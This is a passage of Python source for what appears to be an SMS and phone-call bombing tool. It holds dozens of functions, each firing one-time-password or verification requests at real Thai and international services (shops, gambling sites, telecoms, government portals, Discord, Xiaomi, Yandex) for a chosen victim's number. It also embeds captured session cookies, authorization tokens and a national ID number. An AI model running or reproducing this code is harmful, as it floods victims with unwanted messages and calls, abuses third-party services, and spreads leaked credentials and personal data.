post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.684",headers=header,json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone":phone,"type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName":"ฟงฟง ฟงฟว"}}) def api37(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", json={"reqId":"39816-1633012470","params":{"phone": phone,"language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def api38(phone): post("https://api.1112delivery.com/api/v1/otp/create", data={'phonenumber': phone,'language': "th"}) def api39(phone): post("https://gccircularlivingshop.com/sms/sendOtp", json={"grant_type":"otp","username": phone,"password":"","client":"ecommerce"},headers={}) def api40(phone): headers={ "organizationcode": "lifestyle", "content-type": "application/json" } json = {"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone,"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"} post("https://graph.firster.com/graphql",headers=headers,json=json) def api41(phone): post("https://m.riches666.com/api/register-otp", data={"brands_id":"60a6563a232a600012521982","agent_register":"60a76a7f233d2900110070e0","tel":phone}) def api42(phone): post("https://www.pruksa.com/member/member_otp/re_create",headers=header,data=f"required=otp&mobile={phone}") def api43(phone): post("https://vaccine.trueid.net/vacc-verify/api/getotp",headers=header,json={"msisdn":phone,"function":"enroll"}) def api44(phone): post("https://ufa108.ufabetcash.com/api/",headers=header,data=f"cmd=request_form_register_detail_check&web_account_id=36&auto_bank_group_id=1&m_name=sl&m_surname=ak&m_line=snsb1j&m_bank=4&m_account_number=8572178402&m_from=41&m_phone={phone}") def api45(phone): post("https://www.mrcash.top/h5/LoginMessage_ultimate",data = {"phone": phone,"type":"2","ctype":"1"}) def api46(phone): post("https://www.qqmoney.ltd/jackey/sms/login",json = {"appId":"5fc9ff297eb51f1196350635","companyId":"5fc9ff12197278da22aff029","mobile": phone},headers={"Content-Type": "application/json;charset=UTF-8"}) def api47(phone): post("https://www.monomax.me/api/v2/signup/telno",json ={"password":"12345678+","telno": phone}) def api48(phone): post("https://m.pgwin168.com/api/register-otp",json ={"brands_id":"60e4016f35119800184f34a5","agent_register":"60e57c3b2ead950012fc5fba","tel": phone}) def api49(phone): post("https://www.som777.com/api/otp/register",json ={"applicant": phone,"serviceName":"SOM777"}) def api50(phone): post("https://www.konglor888.com/api/otp/register",json = {"applicant": phone,"serviceName":"KONGLOR888"}) def api51(phone): get("https://api.quickcash8.com/v1/login/captcha?timestamp=1636359633&sign=3a11b88fbf58615099d15639e714afcc&token=&version=2.3.2&appsFlyerId=1636346593405-2457389151564256014&platform=android&channel_str=&phone="+phone+"&img_code=", headers = {"Host": "api.quickcash8.com", "Connection": "Keep-Alive", "Accept": "gzip", "User-Agent": "okhttp/3.11.0"}) def api52(phone): get("https://users.cars24.co.th/oauth/consumer-app/otp/"+phone+"?lang=th", headers = {"accept": "application/json, text/plain, */*","x_vehicle_type":"CAR","cookie":"_ga=GA1.3.523508414.1640152799;_gid=GA1.3.999851247.1640152799;_fbp=fb.2.1640152801502.837786780;_gac_UA-65843992-28=1.1640152807.EAIaIQobChMIi9jVo9329AIVizArCh1bFAuMEAAYASAAEgJqA_D_BwE;_dc_gtm_UA-65843992-28=1;_hjSessionUser_2738441=eyJpZCI6IjYwMjMzZjYyLTFlMzYtNWZmMy04MjZkLTMzOTAxNTMwODQ4NyIsImNyZWF0ZWQiOjE2NDAxNTI4MDEzMDYsImV4aXN0aW5nIjp0cnVlfQ==;_hjSession_2738441=eyJpZCI6ImI4MDNlNTFkLTFiYTYtNGExZi05MGIzLTk5OWRmMjhhM2RiOCIsImNyZWF0ZWQiOjE2NDAxNjY4ODgwNDF9;_hjAbsoluteSessionInProgress=0;cto_bundle=uVFzcF8lMkYxM0hsRGxQc1M4YThaRmhHJTJGRTBtSUdwNzVuRkVldzI5QlpIYktWbnZFcUlzdDZ1ZnhMT3JqVVhFQyUyQmtGUE9MTFk5akpyVnl4ekZnZlJ4UVN3WnRHdUNyJTJGWW03aVRSeWtLc2wxTjA3QmR0THNzcjNsJTJCcEJHSXlOUzNxTVc2ZmJPaGclMkZhRUhkV3I2cTI1dXUlMkZhYnl1dyUzRCUzRA"}) def api53(phone): post("https://www.kaitorasap.co.th/api/index.php/send-otp/", data = {"phone_number": phone,"lag": " "}) def api54(phone): requests=Session() token=search('<meta name="_csrf" content="(.*)" />',get("https://www.shopat24.com/register/").text).group(1) post("https://www.shopat24.com/register/ajax/requestotp/",data=f"phoneNumber={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","x-csrf-token": token}) def api55(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api56(phone): post("https://discord.com/api/v9/users/@me/phone",headers=header,json={"phone":"+66"+phone}) def api57(phone): post("https://api-customer.lotuss.com/clubcard-bff/v1/customers/otp", data={"mobile_phone_no":phone}) def api58(phone): post("https://www.tgfone.com/signin/otp_chk_fast",headers=header,json=f"mobile={phone}&type_otp=7") def api59(phone): post("https://ufa3bb.com/account/register/sendotp",headers=header,data=f"phone={phone}") def api60(phone): post("https://login.s-momclub.com/accounts.otp.sendCode", data=f"phoneNumber=%2B66{phone[1:]}&lang=th&APIKey=3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC&source=showScreenSet&sdk=js_latest&authMode=cookie&pageURL=https%3A%2F%2Fwww.s-momclub.com%2Fprofile%2Flogin&sdkBuild=12563&format=json",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "gmid=gmid.ver4.AcbHriHAww._ill8qHpGNXtv9aY3XQyCvPohNww4j7EtjeiM3jBccqD7Vx0OmGeJuXcpQ2orXGs.nH0yRZjbm75C-5MVgB2Ii0PWvx6TICBn1LYI_XtlgoHg9mnouZgNs6CHULJEitOfkBhHvf8zUvrvMauanc52Sw.sc3;ucid=Tn63eeu2u8ygoINkqYBk5w;hasGmid=ver4;_ga=GA1.2.1714152564.1642328595;_fbp=fb.1.1642328611770.178002163;_gcl_au=1.1.64457176.1642329285;gig_bootstrap_3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC=login_ver4;_gid=GA1.2.1524201365.1642442639;_gat=1;_gat_rolloutTracker=1;_gat_globalTracker=1;_gat_UA-62402337-1=1"}) def api61(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": f"+66{phone[1:]}"}) def api62(phone): get(f"https://hdmall.co.th/phone_verifications?express_sign_in=1&mobile={phone}") def api63(phone): post("https://asha168vip.com/_ajax_/request-otp", data={"request_otp[phoneNumber]":phone,"request_otp[termAndCondition]": "1","request_otp[_token]": "1642443743"}) def api64(phone): post("https://account.xiaomi.com/pass/sendPhoneRegTicket", data=f"region=US&phone=%2B66{phone[1:]}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "captchaToken=mXYXs+xvEHAZdhKnXK1XlopRcisSn05D6xhZU+uL3ghvh1Yf/4rYTExH+2xl+yZv;deviceId=wb_aca09552-fd37-4204-9d7a-20045de5c5bf;uLocale=en"}) def api65(phone): post("https://gamingnation.dtac.co.th/api/otp/generate", data={"template":"register","phone_no":phone},headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api66(phone): post("https://www.aurora.co.th/signin/otp_chk", data=f"mobile={phone}&type_otp=3",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api67(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=66{phone[1:]}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api68(phone): post("http://716081.com/wap/user/sendPhoneMsg", json={"uri":"/user/sendPhoneMsg","token":"","paramData":{"phoneVerifyType":0,"phoneNumber":f"66{phone[1:]}","siteCode":"intqa"}}).text def api69(phone): post("https://login.928royal.com/api/APISendOTP.php", data=f"mobileNumber=0{phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api70(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 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"auth.strategy=local;auth._token.local=Bearer%20eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg;_utm_objs=eyJzb3VyY2UiOiJnb29nbGUiLCJtZWRpdW0iOiJjcGMiLCJjYW1wYWlnbiI6ImFkd29yZHMiLCJj%0D%0Ab250ZW50IjoiYWR3b3JkcyIsInRlcm0iOiJhZHdvcmRzIiwidHlwZSI6InJlZmVycmVyIiwidGlt%0D%0AZSI6MTY0MjMyOTM5OTU4NSwiY2hlY2tzdW0iOiJaMjl2WjJ4bExXTndZeTFoWkhkdmNtUnpMVEUy%0D%0ATkRJek1qa3pPVGsxT0RVPSJ9;_pk_ref.564990563.2c0e=%5B%22%22%2C%22%22%2C1642329400%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D;_pk_ses.564990563.2c0e=*;_gcl_au=1.1.833577636.1642329400;_asm_visitor_type=n;_ac_au_gt=1642329406505;cdp_session=1;_asm_uid=637506384;_ga=GA1.2.1026893832.1642329403;_gid=GA1.2.1437369318.1642329403;OptanonConsent=isIABGlobal=false&datestamp=Sun+Jan+16+2022+17%3A36%3A45+GMT%2B0700+(%E0%B9%80%E0%B8%A7%E0%B8%A5%E0%B8%B2%E0%B8%AD%E0%B8%B4%E0%B8%99%E0%B9%82%E0%B8%94%E0%B8%88%E0%B8%B5%E0%B8%99)&version=6.9.0&hosts=&consentId=e0fe7ec6-3c1e-4aa7-9e72-ecd2ed724416&interactionCount=0&landingPath=https%3A%2F%2Fwww.bigthailand.com%2Fcategory%2F850%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2581%25E0%25B8%25A5%25E0%25B8%25B0%25E0%25B8%2582%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2580%25E0%25B8%25AB%25E0%25B8%25A5%25E0%25B8%25A7%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%3Fgclid%3DCj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB&groups=C0001%3A1%2CC0003%3A1%2CC0002%3A1%2CC0007%3A1;_fbp=fb.1.1642329406623.363807498;_hjSessionUser_2738378=eyJpZCI6ImVkNmZhOGY3LTQwNDctNTNjMi04YTVjLTQ0OGE5MDA4YjhiZCIsImNyZWF0ZWQiOjE2NDIzMjk0MDQ4MDMsImV4aXN0aW5nIjpmYWxzZX0=;_hjFirstSeen=1;_hjIncludedInSessionSample=0;_hjSession_2738378=eyJpZCI6ImNhN2UwZDFhLTZkNmQtNGM0Mi04YmI1LTg4NWJmNzZjMGExZCIsImNyZWF0ZWQiOjE2NDIzMjk0MTEwNzcsImluU2FtcGxlIjpmYWxzZX0=;_hjIncludedInPageviewSample=1;_hjAbsoluteSessionInProgress=0;_gac_UA-165856282-1=1.1642329477.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_gcl_aw=GCL.1642329478.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_pk_id.564990563.2c0e=0.1642329400.1.1642329489.1642329400.;_ac_client_id=637515726.1642329496;_ac_an_session=zmzlzhzlzizqzmzjzkzjzdzlzgzkzmzizmzkzhzlzdzizlznzhzgzhzqznzqzlzdzizdzizlznzhzgzhzqznzqzlzdzizlznzhzgzhzqznzqzlzdzizdzgzjzizdzjzd2h25zdzgzdzezizd;au_id=637515726;_ga_80VN88PBVD=GS1.1.1642329399.1.1.1642329493.44"}) def api72(phone): post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum":phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api73(phone): post("https://bacara888.com/api/otp/register",data={"applicant":phone,"serviceName":"gclub"}) def api74(phone): post("https://www.tslpv.net/api/v1/sendRegisterSms", data={"national_number":phone,"country_code":"TH","g_token":"null"}) def api75(phone): post("https://queenclub88.com/api/register/phone", data={"phone":phone}) def api76(phone): post("https://api.cdfoi9.com/api/v1/index.php", data=f"module=%2Fusers%2FgetVerificationCode&mobile={phone}&merchantId=111&domainId=0&accessId=&accessToken=&walletIsAdmin=",headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","content-type": "application/x-www-form-urlencoded"}) def api77(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=0{phone}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api79(phone): send = Session() send.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) snd = send.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") sed = send.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def api80(phone): get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def api88(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": phone}) def api89(phone): # QCLOUD post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum": phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api90(phone): post("https://shopgenix.com/api/sms/otp/",headers=header,data=f"mobile_country_id=1&mobile={phone}") # SME-GP def api91(phone): post("https://api.thaisme.one/smegp/register/request-otp",json={"MOBILE":phone}) #YOUROTP def api92(phone): post("https://apiv3.slot999ss.com/front/api/register/set/OTP",data=f"phone={phone}",headers={"content-type": "application/x-www-form-urlencoded;charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) #Sabuy-Ebuy def api93(phone): post("https://sabuyebuy.com/wp-json/api/v1/get-otp",headers=header,json={"msisdn":f"{phone}"}) #FAST-PLUS. def api94(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) #Zilingo def api95(phone): post("https://id.zilingo.com/api/v1/userVerification/initiate?up_s=B2B_ASIA_MALL&up_cd=v1_eyJjbGllbnRVc2VySWRlbnRpZmljYXRpb24iOnsiYW5vbnltb3VzVXNlcklkT3B0IjoiQUlENTUwMDY3MTIzMjA0NTY2MDkyIiwic2Vzc2lvbklkT3B0IjoiU0lENTUwMDY3MTIzMjA0NTY2MDkyIiwidXNlcklkT3B0IjpudWxsfSwic2NyZWVuT3B0Ijp7InNjcmVlblR5cGUiOiJDQVRFR09SWSIsInNjcmVlbklkIjoiV0NMIiwic2NvcGUiOm51bGx9LCJidXllclJlZ2lvbk9wdCI6IkIyQl9USEEiLCJsb2NhbGVDb2RlIjoidGgiLCJxdiI6eyJjbGllbnQiOiJXZWIiLCJzdWJDbGllbnQiOiJEZXNrdG9wV2ViIiwidmVyc2lvbiI6IjM1LjguNSJ9fQ==",headers=header,json={"channelDetails":{"phoneNumber":f"+66{phone[1:]}","channelType":"SMS"},"source":"UNIFIED_LOGIN","action":"OTP_LOGIN","redirectTo":"/th-th/Women/Clothing"}) #DGA def api96(phone): post("https://accounts.egov.go.th/Citizen/Account/MobileRegisterJson",headers=header,json={"Mobile":f"{phone}","TransactionId":"f28ef0a2-23ff-4abd-b9e6-fdfc271298ea"}) def api97(phone): post("https://tdhw.treasury.go.th/TD-Vote/api/otp/request",json={"ID_CARD":"1104200197909","TEL":f"{phone}","OTP_TYPE":"OTP_TEST"}) def api98(phone): post("https://user-api.learn.co.th/authentication/sendOTP",json={"mobileNumber": phone},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Host": "user-api.learn.co.th","content-length": "29","sec-ch-ua-mobile": "?1","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, /","sec-ch-ua-platform": "Android","origin": "https://user.learn.co.th","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://user.learn.co.th/","x-api-key": "USER_API_KEY"}) #FOODDIARY def api99(phone): post("https://www.fooddiaryonlineshop.com/RegisterNewCustomer",headers=header,data=f"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=Ble7%2FRYu%2F1RjtS%2FfO9KgKdBWKCntkuS%2F0x7Qh6w4mnY7kV82h741dj1JFc5xnFbW7yacbboe0%2B5nTVVF%2BFSGEHQvaTkL4HQ5qDJbZMBQEt73YZZ%2FZON2LWw193tcYCjDwL3y3vy3lks%2BduyUOCNMwlwNpfrPDsvbhgT4qDCekWgvnnFrzFGCtQYO6cTU3Lax6YpvUbBld0oKgkWcHg0efFp3K2S2fLx%2BK4oTVGr6bq1QdKl5uPHqtL04IHkdy7X6Wbf6lUTQgOa5q5wLfE2KUGHWUUsYjahMwHmRCaVSxB7P1eDmiZ%2BQNku9pHs7m50GtCSePXPSfYtFBumDCM2R1XklFOdYV4X1jJgt%2Fe3MGV1Xmj7cRE%2FsBk1u%2FMYfN%2BmXb5dxruqgDuhXAnWP%2F8Syot1XGEUtVclmfF5NIB0KkCu6He8dheN%2BhEkupLqzP6Ip6OAMNnvssm1rMngwDy7ipCNC3dPXMj83IpBuuD1LWbPr3x3ksf0%2FrGL4yM7jvr8a99ifPcJPcmJzY%2Feay0PKwdwA3u2KTyCoXVgMZwqvsdRoyRHlFooZ3AHoBNsQrkegtyk5eHtjpBTLHD1dzQT3R%2FRaYIbencMw%2B5BbVJWiPzVTXF%2BiQ9A64UcUP9adMciJa7TudfL331vSRd%2FwVMkA%2B1fDtVrfBBi8%2BHbta7BsuVjk0ZodiLMuloOsYaTSilSLmidUpEZFsj0Zhz%2FpwGu%2FGKMixcG95PmRkOdpAj4d2D8%3D&__VIEWSTATEGENERATOR=94756D41&ctl00%24MainContent%24PageGUIDForSession=&ctl00%24MainContent%24rdEmail=U&ctl00%24MainContent%24rdMobile=C&ctl00%24MainContent%24cbpEmptry%24txtMobileNo%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B{phone}%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtMobileNo=0958816629&ctl00%24MainContent%24cbpEmptry%24txtOTP%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtOTP=&ctl00%24MainContent%24cbpEmptry%24chkRead=U&ctl00%24MainContent%24cbpEmptry%24chkConsent=U&DXScript=1_16%2C1_17%2C1_28%2C1_66%2C1_18%2C1_19%2C1_20%2C1_21%2C1_224%2C1_225%2C1_230%2C1_229%2C1_51%2C1_22%2C1_14%2C1_226%2C1_52&DXCss=1_248%2C1_69%2C1_71%2C1_250%2C1_247%2C1_75%2C1_74%2C1_251%2C%2FContent%2Fcss%3Fv%3DFILIkBdKK0FrNSvnRmezf5qTxic9NR7FOzzIJ8iQAKQ1%2Cfavicon.ico%2C..%2F..%2FContent%2Fbootstrap.min.css%2CStyles%2Fbutton.css&__CALLBACKID=ctl00%24MainContent%24cbpEmptry&__CALLBACKPARAM=c0%3ARequestOTP&__EVENTVALIDATION=N%2FlR5TtQKjdRNUQy0QFSjIjFW06D%2Fdy2VFm5Zl%2FTN%2FlsEYUsQVZwH8qpQ5sFzI0PBX2ZLH3HhxXkkZRvuada%2Bu6zsHxSgV3In38ahlf75%2Blm%2BguMSbwp%2FSxuo4Cc3cm5ZFVYYR9eVfvdwG4YsxWYbA%3D%3D") #yandex def api100(phone): post("https://passport.yandex.com/registration-validations/phone-confirm-code-submit",headers=header,data=f"track_id=b3dc4a29a19d038f1cd522187726d7bb5a&csrf_token=e150046ff026a517c15d45444294ffa3275b140c%3A1645857142788&number={phone}&isCodeWithFormat=true&confirm_method=by_sms") def api101(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text res=session.post("https://srfng.ais.co.th/api/v2/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api102(phone): post("https://api.zaapi.co/api/store/auth/otp/login",json={"phoneNumber":f"+66{phone[1:]}","namespace":"zaapi-buyers"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api103(phone): get(f"https://bkk-api.ks-it.co/Vcode/register?country_code=66&phone={phone}&sms_type=1&user_type=2&app_version=4.3.25&device_id=79722530562d973f&app_device_param=%7B%22os%22%3A%22Android%22%2C%22app_version%22%3A%224.3.25%22%2C%22model%22%3A%22A37f%22%2C%22os_ver%22%3A%225.1.1%22%2C%22ble%22%3A%220%22%7D&language=th&token=") #OTP_SMS def api104(phone): post("https://www.vegas77slots.com/auth/send_otp",data=f"phone={phone}&otp=&password=&bank=&bank_number=&full_name=&ref=21076",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "vegas77slots=pj5kj4ovnk2fao1sbaid2eb76l1iak7b"}) #privacy def api105(phone): post("https://ipro356.com/wp-content/themes/hello-elementor/modules/index.php",data=f"method=wpRegisterotp&otp_tel={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "PHPSESSID=vtacuje1no166kkp4d40nolak5"}) #kaspy def api106(phone): post("https://kaspy.com/sms/sms.php/",data=f"phone={phone}",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Cookie": "PHPSESSID=2i484jdb1pie5am071cveupme5; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-cache-sessid=true; form_key=rUt4Q17TiRlUfgKz; _ga=GA1.2.1486915122.1646803642; _gid=GA1.2.1348564830.1646803642; _fbp=fb.1.1646803643605.1538052508; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; smartbanner_exited=1; __atuvc=2%7C10; __atuvs=62283aaa77850300001; _gat=1; private_content_version=382c8a313cac3cd587475c1b3693672e; section_data_ids=%7B%22cart%22%3A1646803701%2C%22customer%22%3A1646803701%2C%22compare-products%22%3A1646803701%2C%22last-ordered-items%22%3A1646803701%2C%22directory-data%22%3A1646803701%2C%22captcha%22%3A1646803701%2C%22instant-purchase%22%3A1646803701%2C%22persistent%22%3A1646803701%2C%22review%22%3A1646803701%2C%22wishlist%22%3A1646803701%2C%22chatData%22%3A1646803701%2C%22recently_viewed_product%22%3A1646803701%2C%22recently_compared_product%22%3A1646803701%2C%22product_data_storage%22%3A1646803701%2C%22paypal-billing-agreement%22%3A1646803701%2C%22messages%22%3A1646803708%7D"}) def api107(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def call1(phone): post("https://www.theconcert.com/rest/request-otp",json={"mobile":phone,"country_code":"TH","lang":"th","channel":"call","digit":4},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": 